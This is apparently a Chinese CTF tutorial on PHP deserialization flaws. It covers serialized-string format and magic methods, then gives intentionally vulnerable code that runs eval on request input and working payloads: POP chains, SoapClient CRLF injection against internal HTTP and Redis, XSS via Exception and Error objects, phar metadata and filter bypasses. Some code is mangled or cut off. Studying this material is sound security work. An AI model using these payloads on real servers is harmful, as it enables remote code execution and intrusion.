序列化概念



序列化就是将一个对象转换成字符串,字符串包括该对象对应的类名,属性个数、属性名、属性值、属性名、值的类型和长度。


反序列化则是将字符串重新恢复成对象,在反序列化一个对象前,这个对象的类必须在解序列化之前定义。


serialize()序列化 unserialize()反序列化

<?phpclass Ctf{

public $flag = 'flag{******}';public $name = 'mtcz91';public $age = '10';public function __sleep(){return array('flag','age');}

}$ctfer = new Ctf();$ctfer->flag = 'flag{abcdefg}';$ctfer->name = 'mtcz91';$ctfer->age = '18';// $str = serialize($ctfer);// echo $str;echo '<br>';var_dump(unserialize('O:3:"Ctf":1:{s:3:"age";s:2:"18";}'));?>


O:3:"Ctf":3{s:4:"flag";s:13:"flag{u_are_the_future}";s:4:"name";s:5:"mtcz91";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示

3 代表类名字占三个字符

ctf 类名

3 代表三个属性

s代表字符串

4代表属性名长度

flag属性名

s:13:"flag{u_are_the_future}" 字符串 属性值长度 属性值






序列化变量类型



serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。


unserialize() 会检查是否存在一个 __wakeup() 魔术方法,如果存在则会先调用__wakeup()方法在进行反序列化。


可以在__wakeup()方法中对属性进行初始化或者改变,表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。


访问控制修饰符
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名


常见的魔术方法触发方式:


当对象被创建时:__construct

当对象被销毁时:__destruct

当对象被当作一个字符串使用时:__toString

序列化对象前使用:__sleep

反序列化恢复对象前调用:__wakeup

当调用对象中不存在的方法时自动调用:__call

从不可访问的属性读取数据:__get

当把一个对象当作一个函数调用时:__invoke




常见的反序列化


魔术方法中存在可利用代码


代码如下:

<?phpclass test{

function __destruct(){echo "destruct...<br>";eval($_GET['cmd']);}

}unserialize($_GET['u'])?>


构造test对象的序列化字符串O:4:"test":0:{}

<?phpclass test{}$test = new test;echo serialize($test);?>




存在调用其他类方法的代码

<?phpclass lemon{protected $ClassObj;function __construct(){$this->ClassObj = new normal();}function __destruct(){$this->ClassObj->action();}

}class normal{function action(){echo "hello";}}class evil{private $data;function action(){eval($this->data);}}unserialize($_GET['d']);?>


在exploit中,我们可以在__construct中将ClassObj换为evil类,然后将evil类的私有属性data赋值为phpinfo()。


O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}

<?phpclass lemon{protected $ClassObj;function __construct(){$this->ClassObj = new evil();}function __destruct(){$this->ClassObj->action();}

}class normal{function action(){echo "hello";}}class evil{private $data = "phpinfo();";function action(){eval($this->data);}}$test = new lemon;echo urlencode(serialize($test));?>







 原生类利用


__call方法


利用crlf进行更加深入的利用

<?php$rce = unserialize($_REQUEST['u']);echo $rce->notexist();?>


构造 exploit

进而可以转换为如下两种攻击方式:


1. 构造post数据包来攻击内网HTTP服务,Soap默认头存在Content-Type:text/xml,但可以通过user_agent注入数据,将content-Type挤下,最终请求数据data=abc后的数据在容器处理下会被忽略。

 $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); ?>



2. 构造任意HTTP头来攻击内网其他服务(redis)

`CONFIG SET dir /root/` __toString方法,将对象作为字符串处理时会自动触发。

<?php$rce = unserialize($_REQUEST['u']);?>


构造exploit

<?phpecho urlencode(serialize(new Exception("<js>alert(/hello world/)</js>")));?>



Error 适用于php 7.0

<?php$a = new Error("<js>alert(1)</js>");$b = serialize($a);echo urlencode($b);?>


test

<?php$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cjs%3Ealert%281%29%3C%2Fjs%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');$c = unserialize($t);echo $c;?>


__construct方法
通常情况下无法触发,当可以对任意类实例化时可以触发。

phar反序列化

<?phpclass demo{public $t = "Test";function __destruct(){echo $this->t."win.";}}file_exists("phar://./demo.phar");?>


构造phar包

<?phpclass demo{public $t = "Test";function __destruct(){echo $this->t."win.";}}$obj = new demo;$obj->t = "you";$p = new Phar('./demo.phar',0);$p->startBuffering();$p->setMetadata($obj);$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');$p->addFromString('test.txt','test');$p->stopBuffering();?>






反序列化限制绕过


__wakeup:当属性个数不正确时,php中就不会调用__wakeup(php5-5.6.25、php7-7.0.10)


bypass 反序列化正则

使用正则/[oc]:\d+:/i进行拦截

可以用 + 号进行绕过,如O:+4:"demo":1:{s:5:"demoa";a:0:{}}


反序列化字符逃逸

php在序列化字符串时,会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且php底层是以;作为分割,以}作为结尾。类中不存在的属性也会进行反序列化,就会发生逃逸问题,导致对象注入。


session 反序列化

php默认存在一些session 处理器:php、php_binary、php_serialize 和 wddx。这些处理器都有经过序列化保存值,调用的时候会反序列化。

jarvisoj-web的一道SESSION反序列化题目


php 引用 & 绕过


Exception 绕过



参考链接:

  1. 《从0到1:ctfer成长之路》



end





发布     👍 0 举报 写留言 🖊   
✋热门推荐
  • 想你,念你,等你,盼你,爱过的你永远都在我心里,你是初见乍欢之喜,也是久恋怦然之动,你是爱,是永恒,是我真爱的永恒。心爱的,我每时每刻都好想你,白天,夜里,花开
  • 若说高远没自信,他明确知道对比同队天才队友,自身天分不足不被专业人士看好后选择拼命努力来补足,勤奋和不自弃也是能力体现的一个维度啊;并且他在国家队占据了一席之
  • 未来,不妨简化自己,自得其乐,方能守住一片清欢。主播需要找到自己与众不同的地方,无论是幽默风趣的语言风格,还是独特的才艺展示,如唱歌、舞蹈、脱口秀等,亦或是在某
  • 更牛的是【秦L DM-i】采用了全新的科技配置,让我看了都心动不已![赞啊]嗯,最近跳舞也很厉害了,丹东舞王毋庸置疑!
  • 最后提一句你们铠的X(懂得都懂)上次更新都是16年了,找个人经营一下海外市场吧,做个账号只是搬运国内东西也不是难事朱同在三年级丢失了超能力本来是作为六一节目,带
  • 我真的不相信,如果我像以前不计前嫌的去帮助,这个项目一旦出任何问题,问责的时候,她会有担当的站出来!我持怀疑的态度去看了看,还有半壶,我就把水分给其他另外两名同
  • 但是在自动机芯中不需要考虑这些,因为它们薄到可以附加在机芯的背面,而不影响发条鼓之外的零件。就像我们看到的那样,哪怕只加入极少的零件都会给机芯增添额外的磨损,进
  • 这该来的,依然会来,谁挡也挡不住生活已经那么累了,你又何必想那么多呢,把自己搞得那么疲惫,难道你就不知道,路走太多,痛的是脚,人想太多,累的是心,不依不饶就是画
  • 走在里面能够让人进入“心流”的状态[锦鲤附体]炒鸡喜欢 一天三万步一天两万步 不是盖的 走到衣服湿了腿迈不开一点[失望]这里的建筑我也非常喜欢,在迷幻的城市我问
  • 盘面的布局其实已经透露出来,这款名匠用的是浪琴的L678机芯,同时具备计时功能的同时,却丝毫不影响其漂亮舒适的外观,再搭配深棕色的鳄鱼皮,绝对算得上一款多项全能
  • 今后别问有没有什么方法了,我说我心即你心,万众一心融入我心,这就是我的法,你学一下,众生进入你心,你离死就不远了,因为我是道,众生融入我心就入道了,你呢?今后别
  • 昨天没能出门心情很烦躁,可能也有slq的缘故吧,反正就是很emo了,今天下午骑着共享,好快乐呀,阳光☀️微风,简直不要太幸福,还买到非常喜欢的拖鞋哈哈哈哈哈哈哈
  • 网红AM/FM调频音箱 攻占全球一线酒店套房 下午3时许,吉隆坡万豪酒店地下一层的活动包间,来自美国的Tivoli Audio音响首度登陆马来西亚。 此时,
  • 今天山街帮养甲鱼售卖烤肠 有趣好玩帮忙后得混饭吃 嘻嘻好好好 奶茶店老板娘跑去其他家买冰美 给洋洋我俩留下外卖单 慌张卑微乞讨钥匙扣[哼] (最后成功啦哈哈哈哈
  • 需要注意的是,只有柱状图和曲线都位于零轴上 方时,所发出的买入信号才格外强烈,如果位于零轴下方,则只表明金价可能反弹,并不能确认趋势的反转。在黄金 1 小时线图
  • 我的小狗狗耶耶这么这么乖呀 之前一直咬我裤脚 我打了几次嘴巴就不咬了 还舔我的脚趾 训练定点尿尿初有成效 会自己跑进去尿啦虽然有几次在客厅尿尿 前晚上跑厨房大吃
  • 二、白虎汤1方出自《伤寒论》著名清热剂,在清代以前是治阳明病热证的主力,清代以后拓展为温热病气分证的主力。更多中医认为朱雀汤以“黄连阿胶汤”为正选,因为在中医界
  • 《纽时》进一步指出,到了2020年以后,巴尔的摩市的官员们为预防吸毒过量制定的目标越来越少,也越来越没有要治理好毒品问题的雄心,早前制定的一系列举措基本上都变成
  • [求饶]记得是从3月1号开始肝小号,当时长草期,加之自己是all推,怕秦彻和哥哥上线后资源不够,想自己肝个资源号。娃娃喵喵牌挂机打或直接退出,拿满巧克力,除了每
  • 4⃣️VR:开服快五个月了为什么到现在线下vr还只有一个男主,工作人员说了其他男主已经做好了为什么不端上来,为什么鱼推缺失祁煜vr体验待遇? 受此次天气影响,5